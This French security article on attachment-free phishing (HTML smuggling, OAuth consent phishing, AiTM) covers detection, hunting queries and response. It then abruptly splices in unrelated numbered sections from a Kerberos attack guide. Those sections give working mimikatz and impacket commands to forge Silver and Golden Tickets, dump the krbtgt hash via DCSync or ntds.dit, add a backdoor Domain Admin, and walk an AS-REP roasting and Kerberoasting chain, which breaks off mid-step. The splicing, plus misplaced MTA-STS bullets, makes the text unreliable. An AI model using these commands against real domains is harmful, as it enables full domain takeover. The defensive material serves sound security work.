Phishing sans pièce jointe (HTML smuggling, OAuth phishing, adversary-in-the-middle)

Résumé exécutif

Le phishing évolue vers des techniques plus furtives, contournant les filtres traditionnels basés sur les pièces jointes. Les campagnes modernes s'appuient sur le HTML smuggling, le phishing OAuth et les attaques adversary-in-the-middle (AiTM) pour voler des identifiants, contourner le MFA et prendre le contrôle des comptes. Ces approches mobilisent des infrastructures distribuées, des mécanismes d'obfuscation et des flux OAuth, rendant la détection complexe. Cet article analyse en profondeur ces vecteurs sans pièce jointe, propose des stratégies de mitigation (DMARC, MTA-STS), des détections comportementales et des playbooks de réponse. L'objectif est d'outiller les équipes SecOps, SOC et IT pour anticiper, détecter et répondre efficacement à ces attaques.

Panorama des techniques sans pièce jointe

Les campagnes sans pièce jointe exploitent les contenus du corps de l'email, les liens externes, des fichiers HTML, ou des flux OAuth. Trois familles principales :

1. HTML smuggling : injection d'un code JavaScript dans un fichier HTML, reconstitutant un binaire ou script côté client. 2. Phishing OAuth : redirection vers une application OAuth malveillante, obtention de consentements. 3. Adversary-in-the-middle (AiTM) : proxys interposés interceptant les sessions et tokens.

Ces techniques contournent les filtres d'antivirus car aucun fichier attaché suspect n'est présent. L'usage de services légitimes (SharePoint, Google Sites) renforce la crédibilité.

HTML smuggling : anatomie

Le HTML smuggling consiste à embarquer un script dans un fichier HTML (ou un lien) qui, lors de l'ouverture, reconstruit un payload sur le poste (fichier ZIP, binaire, script). La séquence :

1. L'email contient un lien vers un HTML (hébergé sur un site compromis ou storage). 2. L'utilisateur ouvre le lien, le navigateur exécute JavaScript. 3. Le script reconstitue un fichier (Base64, Blob), déclenche un téléchargement automatique. 4. L'utilisateur exécute le fichier, compromettant le système.

Les campagnes QakBot, Emotet ont utilisé ce vecteur. Les scripts utilisent atob, Blob, URL.createObjectURL, click() sur un lien simulé. L'obfuscation (charcodes, substitutions) contournent les filtres. Les environnements restreints (Secure Mail Gateway) peuvent ne pas analyser le code.

Phishing OAuth

Le phishing OAuth exploite la confiance dans les flux d'autorisation. L'attaquant :

1. Crée une application (Azure AD, Google, Okta) demandant des permissions (mail.read, offlineaccess). 2. Envoie un email encourageant l'utilisateur à consentir (ex : proposition de document). 3. L'utilisateur arrive sur la page d'autorisation officielle (login.microsoftonline.com), confiant. 4. S'il accepte, l'attaquant obtient un refresh token permettant l'accès persistant.

• Publient un enregistrement MTA-STS (mta-sts.domain.com).
• Hébergent un fichier mta-sts.txt avec la politique.
• Analysent les rapports TLS-RPT pour détection d'anomalies.

Bien que MTA-STS ne bloque pas le phishing directement, il améliore la sécurité du transport (limite l'interception, AiTM mail). Le protocole DANE/TLSA peut compléter (zones DNSSEC).

BIMI et évaluations de marque

Le BIMI (Brand Indicators for Message Identification) affiche un logo pour les emails authentifiés. Les attaquants ne peuvent pas l'usurper sans DMARC aligné. Cela renforce la confiance pour les destinataires. Toutefois, BIMI n'empêche pas les campagnes via autres domaines. Les communications internes peuvent utiliser BIMI pour rassurer sur l'authenticité.

Analyse du contenu HTML (smuggling)

Les moteurs de sécurité doivent analyser les HTML :

• Recherche de fonctions atob, unescape, fromCharCode.
• Identifcation de patterns Blob, URL.createObjectURL.
• Détection de download automatique (a.click).
• Détection d'obfuscation (XOR, reverse strings).

Les sandbox exécutent le HTML dans un navigateur headless (Chromium) pour observer. Les solutions EDR/AV ont des signatures (ex: TrojanDownloader:HTML/SmugX). Les défenseurs créent des YARA pour scanner les HTML en proxy. Les logs proxy collectent la taille, le type MIME, les redirections.

Détection de l'exfiltration via HTML smuggling

Après le drop, le fichier téléchargé (ZIP, JS) peut être détecté via :

• Sandboxing (Cuckoo) pour comportement.
• EDR (aleat sur exécution wscript, mshta).
• Contrôle du point de terminaison (AppLocker).

Les scripts smuggled utilisent wscript.exe //E:JScript pour exécuter le code. Les logs ScriptBlock (PowerShell) captent les commandes. Les SOC surveillent les fichiers Dropper (hash). Un pipeline d'analyse (VirusTotal, Hybrid Analysis) identifie les overlaps.

Détection du phishing OAuth

Les signaux :

• Logs Azure AD SignIn indiquant un consentement (event Consent to application).
• Microsoft 365 Audit (operation Consent to application).
• Application non vérifiée (sans publisher verified).
• Permissions élevées (Mail.ReadWrite, Files.ReadWrite.All).

On configure Conditional Access imposant MFA pour les consentements administratifs. Les politiques App Consent (Azure AD) exigent la pré-approbation. Les scripts surveillent les oauth2PermissionGrant (Graph API). Defender for Cloud Apps (MCAS) détecte des apps OAuth à risque. Les organisations revoient régulièrement la liste des apps consenties.

Détection des attaques AiTM

Les AiTM laissent des traces :

• Connexions multiples depuis la même IP (attaquant) avec différents user agents.
• Logins Impossible Travel (user se connecte depuis deux pays en quelques minutes).
• Utilisation de Modern Authentication via des proxys.
• Certificats TLS récemment émis pour des domaines suspect (Let's Encrypt).

Les solutions Azure AD Identity Protection, Okta ThreatInsight détectent Token replay. Defender for Cloud Apps alerte sur Suspicious inbox rules, Mass download. L'analyse des logs (User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36) couplée à l'IP montre des patterns.

Monitoring DNS et domaines lookalike

Les adversaires utilisent des domaines typosquattés. La défense :

• Surveiller les enregistrements DNS via services (DNSTwist, Farsight).
• Publier des Brand domains et enregistrer les variations.
• Utiliser des solutions TLS fingerprinting (JA3) pour identifier les proxys.

Les SOC intègrent la TI: flux Certstream pour nouveaux certificats contenant le nom de la marque. Lorsqu'un domaine suspect est détecté, on contacte l'hébergeur pour takedown.

Rôle des Secure Email Gateways (SEG)

Les SEG évolués (Proofpoint, Mimecast, Microsoft EOP) offrent :

• Analyse heuristique du corps (JavaScript dans HTML).
• Réécriture d'URL (time-of-click protection).
• Sandboxing des liens (Safe Links).

Cependant, certains HTML smuggling contournent (obfuscation). Les admins doivent activer les filtres avancés (URL detonation) et configurer zero-hour auto purge. Les logs SEG sont intégrés au SIEM pour corrélation.

Time-of-Click protection

Les solutions TOT réécrivent l'URL et l'analysent lors du clic. Elles :

• Détectent le domaine, le contenu, le comportement.
• Bloquent si suspected phishing.

Les attaquants tentent de retarder l'activation (servir contenu propre lors de l'analyse, malveillant plus tard). Les TOT doivent répéter les analyses. On configure les TOT pour re-scanner après un délai. Les logs TOT fournissent des événements (clicked, blocked) pour alerting SOC.

Education et simulation

La sensibilisation reste clé :

• Formation sur les signaux (URL obfusquées, login page suspecte).
• Simulations de phishing (sans pièce jointe) pour tester la vigilance.
• Communication sur l'usage de portails officiels (SSO, portail d'entreprise).

Les campagnes de simulation incluent des scénarios HTML smuggling (lien vers un fichier). Les résultats alimentent les KPIs (taux de clic, signalement). Les équipes sensibilisent l'importance de reporter (bouton phish alert).

Threat Intelligence et partage

Les communautés (MISP, FS-ISAC) partagent des indicateurs : domaines, scripts, hash. Les rapports TI (Microsoft, Google) détaillent les TTP AiTM. Les SOC intègrent ces données dans les règles (SIEM, TOT). Les playbooks automatise l'intégration (API MISP). L'intel contextuelle (tactiques, campagnes) alerte sur de nouveaux scripts.

Détection via EDR/Endpoint

Même sans pièce jointe, l'endpoint fournit :

• Processus mshta, powershell, cmd lancé depuis le navigateur (Edge, Chrome).
• Création de fichiers dans Downloads.
• Modifications Outlook (règles).

L'EDR alerte sur Suspicious HTML smuggling payload. Les règles : Parent Process=browser + Child Process=wscript. Les scripts JavaScript créés dans %Temp%. Des YARA sur les fichiers HTML détectent var string = "data:application/zip;base64". Les endpoints Mac détectent osascript lancé depuis Safari. Les baselines distinguent l'usage normal (par IT) vs suspect.

Détection réseau : proxies et firewall

Les proxys loggent les requêtes :

• URLs vers onedrive.live.com/download?resid=... (souvent malveillants).
• Utilisation de Storage.googleapis.com par comptes non internes.
• Volume de téléchargement (ZIP > 10 Mo).

Les firewalls NG (Palo Alto, Fortinet) proposent des signatures (HTML smuggling). On active la détection Command and Control sur le trafic TLS (SNI). Les solutions CASB inspectent les connexions (MCAS, Netskope). Lorsqu'un fichier est téléchargé, il est envoyé en sandbox.

Automatisation via SOAR

Les workflows automatisés :

• Lorsqu'un clic suspect est détecté, isoler le poste via EDR.
• Extraire les emails restants (search & purge).
• Notifier l'utilisateur, réinitialiser le mot de passe.
• Vérifier les règles de boîte, consentements.

La SOAR connecte EOP, Graph API, Azure AD. Les scripts Purges suppriment les emails (Search-Mailbox). Les playbooks incluent l'analyse du domaine (WHOIS, reputation) et la génération d'incident (ServiceNow).

Chasse (Hunting)

Scénarios :

• Rechercher des Consent logs récents pour des apps inconnues (Graph Query).
• Identifier les connexions IMPOSSIBLE TRAVEL suivies d'actions (rule creation).
• Lister les fichiers HTML téléchargés depuis des domaines nouveaux.
• Rechercher var downloadLink = document.createElement('a') dans les proxys.

Les hunts sont réalisés hebdomadairement. Les scripts Sentinel aident :

OfficeActivity
| where Operation == "Consent to application"
| extend AppName = tostring(parsejson(Parameters)[0].Value)
| where AppName !in ("applications approuvées")

AuditLogs
| where OperationName == "Add service principal"
| extend AppDisplayName = tostring(TargetResources[0].displayName)
| where AppDisplayName !in ("Liste des apps approuvées")
| project TimeGenerated, AppDisplayName, InitiatedBy=user.displayName, UserPrincipalName

index=proxy sourcetype=squid 
"Content-Type"="text/html" "var blob" 
| stats count by srcip, dest_host, uri

Elastic : exécution mshta

process where process.name == "mshta.exe" and process.parent.name in ("iexplore.exe","chrome.exe","firefox.exe","outlook.exe")

Playbook réponse

1. Détection : alerte TOT/EDR/Graph Consent. 2. Analyse : vérifier la cible, le domaine, la timeline. 3. Containment : isoler l'appareil, révoquer tokens, purge emails. 4. Eradication : supprimer apps OAuth, règles boîtes, changer mdp. 5. Recouvrement : informer l'utilisateur, surveiller la session. 6. Post-incident : IOCs, update détections, sensibilisation.

Le playbook inclut un arbre de décision pour les scénarios (HTML smuggling vs OAuth). Les temps d'exécution sont mesurés.

Collaboration SecOps / IT / Legal

Le phishing peut avoir des impacts légaux (RGPD). Les équipes Legal évaluent les obligations de notification. IT assiste pour la purge. Les communications internes/externe sont préparées. Les partenaires sont informés si compromis. Les contrats incluent des clauses (ex : marketing) sur l'usage de domaines.

Analyse post-incident et leçons

Les incidents sont revus :

• Ce qui a fonctionné (détection, réponse).
• Ce qui a échoué (faux négatifs, longue réaction).
• Actions correctives (règles, formation).

Les lessons sont documentées (Wiki). Les équipes mettent à jour les runbooks. Les incidents majeurs déclenchent des exercices (table top). Les KPIs sont recalculés (MTTD, MTTR).

Roadmap de maturité

1. Phase 1 : DMARC reject, TOT activé, logging complet. 2. Phase 2 : detection OAuth/AiTM, SOAR, hunts. 3. Phase 3 : ML (models de clics), Graph scoring, Zero trust conditional access. 4. Phase 4 : simulation continue, share TI, adoption FIDO2 (passkeys) pour limiter AiTM.

Chaque phase inclut des objectifs (couverture TOT, adoption FIDO). Les sponsors (CISO, CIO) assurent le support.

Adoption de FIDO2/Passkeys

Les passkeys (FIDO2) réduisent AiTM, car elles lient l'authentification au domaine. Les organisations :

• Déploient des clés physiques ou authentificateurs platform (Windows Hello).
• Configurent Azure AD (Phish-resistant MFA).

Cela réduit l'efficacité d'AiTM. Les campagnes HTML smuggling restent un risque, mais l'accès aux comptes est plus difficile.

Alignement avec MITRE ATT&CK

• TA0001 - Initial Access : T1566.002 (Phishing: Spearphishing Link).
• T1566.003 (Phishing: Spearphishing via Service) : OAuth.
• T1557.003 (Adversary-in-the-Middle).
• T1556.006 (Modify Authentication Process) : Ajout d'app OAuth.

Les détections alignées sur ATT&CK permettent de mesurer la couverture. Les plans Purple Team referment les gaps.

Sensibilisation spécifique dirigeants

Les cadres sont ciblés. Les programmes VIP incluent :

• TOT renforcé.
• Monitoring de domaine lookalike.
• Support 24/7 (phish hotline).

Les VIP reçoivent des clés FIDO, des communications spécifiques. Les SOC priorisent leurs alertes.

Tableaux de bord dirigeants

Les dashboards :

• Taux de clic simulation.
• Nombre d'incidents phishing par mois.
• DMARC alignment.
• Temps de suppression d'emails.

Conclusion

Le phishing sans pièce jointe représente une menace majeure, reposant sur des techniques sophistiquées (HTML smuggling, OAuth, AiTM) capables de contourner les filtres traditionnels. La défense requiert une combinaison de contrôles techniques (DMARC/MTA-STS, TOT), de détections comportementales, de télémétrie avancée, de SOAR, ainsi qu'une sensibilisation continue. En alignant les politiques, les détections et la réponse sur ces vecteurs émergents, les organisations réduisent l'efficacité des adversaires et protègent leurs identités, données et ressources critiques.

Analyse technique détaillée : détection HTML smuggling en sandbox

Les sandbox doivent exécuter le HTML dans des conditions réalistes :

• Navigateur mis à jour, support JavaScript complet.
• Analyse du DOM après exécution (recherche de Blob, download).
• Capture réseau (Wireshark) pour détecter les requêtes.
• Détection des payloads, extraction des fichiers, analyse statique/dynamique.

Les rapports de sandbox incluent les appels JavaScript, les objets ArrayBuffer. Les équipes SecOps intègrent la sandbox via API : un email suspect est soumis automatiquement, le verdict (malicious/suspicious) déclenche la purge. Les sandbox modernes (Joe Sandbox, Broadcom Malware Analysis) fournissent des signatures sur JS/Smug, HTML/Smug. Des règles YARA internes complètent (matching sur window.navigator.msSaveOrOpenBlob).

Contrôle des liens via rewriting et isolation

Outre la réécriture, certaines organisations isolent les liens (Browser Isolation). Les utilisateurs accèdent aux liens dans un navigateur isolé (VDI, Remote Browser Isolation), empêchant l'exécution locale. Les solutions RBI (Menlo, Zscaler) rendent la page et transmettent un flux visuel. Cela bloque les payloads smuggled. Les politiques RBI peuvent être ciblées (appliquer sur les domaines non catégorisés). Les logs RBI (clics, verdicts) alimentent le SIEM et permettent un retour utilisateur.

Détection de comportement utilisateur (UEBA)

Les solutions UEBA détectent les anomalies post-phishing :

• Augmentation des accès SharePoint/OneDrive.
• Envoi d'emails massif depuis le compte compromis.
• Création de règles (redirect to external).

Les scores UEBA augmentent lorsque plusieurs signaux (impossible travel + OAuth consent) sont combinés. Les alertes UEBA déclenchent la réponse (forcer reset). Les modèles se nourrissent de logs (Microsoft Graph, Exchange). Ils identifient des comportements typiques (Account takeover, Business Email Compromise).

Monitoring des règles de boîtes et forwarding

Les comptes compromis configurent des règles automatisées :

• Redirection vers des adresses externes.
• Suppression de mails avec certains mots.

Les logs Set-Mailbox/New-InboxRule (Exchange) doivent être monitorés. Les scripts :

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -Operations New-InboxRule

On définit des alertes (Rule created that forwards mail externally). Defender for Cloud Apps fournit Suspicious inbox forwarding. On audite régulièrement (PowerShell, Graph) pour retirer les règles suspectes. Les utilisateurs sont informés lors de modifications.

Gestion des liens dans les navigateurs

Les navigateurs d'entreprise peuvent être configurés :

• Bloquer le téléchargement automatique (Chrome policy DownloadRestrictions).
• Appeler l'API SafeBrowsing.
• Exiger une confirmation pour les fichiers potentiellement dangereux.

Les extensions internes (Chrome/Edge) inspectent les pages, cherchent du code smuggling. Les entreprises peuvent injecter du JavaScript via Content Security Policy sur leurs propres domaines. Les navigateurs gérés (Edge via Intune) appliquent ces politiques.

Outils Red Team : Evilginx, Modlishka, Phisherman

Les red teams utilisent ces outils pour simuler :

• Evilginx2 : proxys HTTP(s), capture tokens.
• Modlishka : générateur de templates.
• CredSniper : collecte identifiants.

Les defenders doivent détecter ces frameworks. Les user agents, entêtes HTTP (via TOT) peuvent indiquer Evilginx. Les labs internes testent la détection. Les logs Azure AD montrent des resourceDisplayName répétées. Les retours red team alimentent les détections (ex : pattern de certificat). Les red teams peuvent aussi tester HTML smuggling (scripts obfuscation).

Communication post-incident

Lorsqu'un incident est détecté :

• Communication interne (email, Teams) informant du phishing, steps (report, update).
• Communication externe si impact clients (transparence).

Le message doit expliquer le vecteur (sans pièce jointe), comment éviter (vérifier URL, signaler). Les équipes marketing alignent leurs campagnes pour éviter la confusion. Les post-mortems partagent les IOCs, mis à jour dans la FAQ interne.

Mesure d'efficacité des contrôles

Les organisations mesurent :

• Click-to-detection: temps entre clic et alerte.
• Time-to-remediation: purge, reset.
• Reduction of false positives: ajustements TOT.

Les métriques sont présentées mensuellement. Les tests (simulations) évaluent les contrôles TOT et détection (ex : TOT a-t-il bloqué plus de 95%?). Les OKR incluent la réduction de 30% du taux de clic sur 12 mois.

Suivi des consentements OAuth sur la durée

Un script quotidien exporte la liste des oauth2PermissionGrant. Les colonnes : App, Resource, Scope, User. Les variations sont surveillées (diff). On alerte si une nouvelle app apparaît (non approuvée). Azure AD Identity Governance gère des revues (Access reviews) pour les apps. Les utilisateurs doivent reconfirmer l'usage. Les revues non complétées entraînent la révocation.

Stratégies de durcissement

• Désactiver la création d'apps à l'échelle (Azure AD: Users can register apps = No).
• Activer Security Defaults ou Conditional Access pour imposer MFA.
• Exiger un périphérique conforme (Intune) pour accéder aux ressources.
• Limiter l'accès aux portails admin (IP, named location).

Ces mesures réduisent l'impact d'un phishing (même si identifiants volés, pas de device compliant). Les GPO appliquent des restrictions sur Windows (script, macros). On renforce le paramétrage Outlook (bloquer liens file://).

Monitoring DNS (passif et actif)

Des capteurs DNS collectent :

• Requêtes vers domaines récemment enregistrés.
• Utilisation de TLD exotiques (~phishing).

Les outils (PassiveTotal, DomainTools Iris) évaluent la réputation. Les proxies bloquent les TLD suspects (ex : .xyz). Les organisations mettent en place DNS RPZ pour bloquer les domaines. Lorsqu'un HTML smuggling redirige vers storage.googleapis.com/abc, l'analyse de la path identifie le bucket.

Automatisation de purge via Graph API

Les scripts Graph suppriment les courriels :

Connect-ExchangeOnline
New-ComplianceSearch -Name "PhishCampaign" -ExchangeLocation all -ContentMatchQuery 'subject:"Réinitialisation" AND from:"spoof"'
Start-ComplianceSearch -Identity "PhishCampaign"
New-ComplianceSearchAction -SearchName "PhishCampaign" -Purge -PurgeType SoftDelete

Les playbooks SOAR déclenchent cette purge automatiquement après validation. Les logs Compliance (UnifiedActivity) conservent la trace. Le SOC vérifie l'efficacité (emails restants). Pour Gmail, on utilise Admin SDK pour DeleteMessages. Les scripts gèrent les erreurs (quotas, latence).

Collaboration avec les fournisseurs SaaS

Les partenaires SaaS peuvent être vecteurs (compromis). Les contrats incluent :

• Obligation de DMARC.
• Notification en cas d'incident.
• Accès TI partagé.

Les audits SaaS examinent la config (MFA, IDS). Les équipes SecOps partagent les IOCs (via STIX). Les flux SSO (SAML) sont durcis (force signed responses).

Stratégie de redirection et landing pages légitimes

Les campagnes internes de sensibilisation utilisent des landing pages corporate (apprentissage). Cela renforce la conscience des signaux (ex : URL, certificat). Les feedbacks sont recueillis (questionnaire). On fournit un guide Check list (vérifier l'URL, certificat, orthographe). Les utilisateurs apprennent à utiliser le Report Phish (Add-in Outlook). Les statistiques (report rate) augmentent.

Analyse du trafic sortant (NetFlow)

Les analystes monitorent NetFlow :

• Connexions directes vers IPs suspectes (AiTM).
• Ports 80/443 vers domaines inconnus.

Les anomalies (nouvelle IP, volume élevé) déclenchent une enquête. Les SOC établissent des allowlists par région. Lorsque HTML smuggling droppe un payload, le trafic sortant (C2) est surveillé (Dest IP, JA3). Les solutions XDR corrèlent.

Historisation et lookback

Lors d'un incident, on effectue un lookback 90 jours :

• Requête Consent log.
• Requêtes TOT (clics).
• Requêtes DNS e-mail.

Cela identifie d'autres comptes affectés. Les incidents passés sont corrélés (campagne plus large). Les data lakes (Azure Data Explorer) facilitent les lookbacks. On stocke les logs en long terme (12-24 mois) pour analyses légales.

Architecture Zero Trust sur email

Les entreprises adoptent un modèle Zero Trust pour email :

• Authentification forte (MFA, FIDO2).
• Vérification de contenu (AI anti-phishing).
• Isolation (RBI).
• Response automation.

Les offres Microsoft Defender for Office 365, Google Advanced Protection s'intègrent. On applique Conditional Access à l'accès Exchange (requiert device compliant). Les boîtes partagées ont des protections supplémentaires (alertes). Les admin accounts n'ont pas de mail (réduit surface).

Mise en place de canaux de signalement

Les utilisateurs doivent signaler rapidement :

• Add-in Outlook Report Message (envoie au SOC, supprime).
• Adresse email dédiée ([email protected]).
• Formulaire Teams/Slack.

Les signalements alimentent un dashboard. Les SOC répondent (merci, incident). Les signalements précoces réduisent l'impact (MTTD). Les statistiques (Taux de signalement vs taux de clic) sont suivies.

Cas de detection via TI

En 2023, un domaine micr0soft-support.com est identifié via Certstream. Le SOC crée une règle TOT. Deux jours plus tard, un mail pointant vers ce domaine est bloqué. L'IOC a permis de bloquer la campagne avant impact. La coordination TI a été clé.

Alignement avec cadres réglementaires (RGPD, SOX)

Le phishing peut entraîner une fuite PII. Les processus incluent :

• Évaluation (type de données exfiltrées).
• Notification CNIL (72h) si nécessaire.
• Documentation des actions (audit trail).

Les contrôles sont audités (SOX : accès finances). Les rapports montrent la conformité (DMARC, TOT). Les tests (SOC2) évaluent les mesures anti-phishing.

FAQ interne

Checklist finale étendue

1. Protection proactive : DMARC p=reject, DKIM 2048, SPF complet, MTA-STS. 2. Détection : TOT, sandbox HTML, EDR, UEBA, CASB. 3. Contrôles identités : Conditional Access, MFA phish resistant, FIDO2. 4. Surveillance : consentements OAuth, règles boîtes, trafic DNS, NetFlow. 5. Réponse : SOAR, purge, isolation, reset, communication. 6. Sensibilisation : simulations, reporting, VIP programme. 7. Gouvernance : policies email, exceptions, audits DMARC, reporting. 8. TI : flux, monitoring domaines, certstream, hunts. 9. Amélioration continue : post-mortem, lessons learned, roadmap. 10. Coordination : SecOps, IT, Legal, Comms, partenaires.

En suivant cette checklist, les organisations déploient une défense résiliente contre le phishing sans pièce jointe, alliant contrôles techniques, procéduraux et humains.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

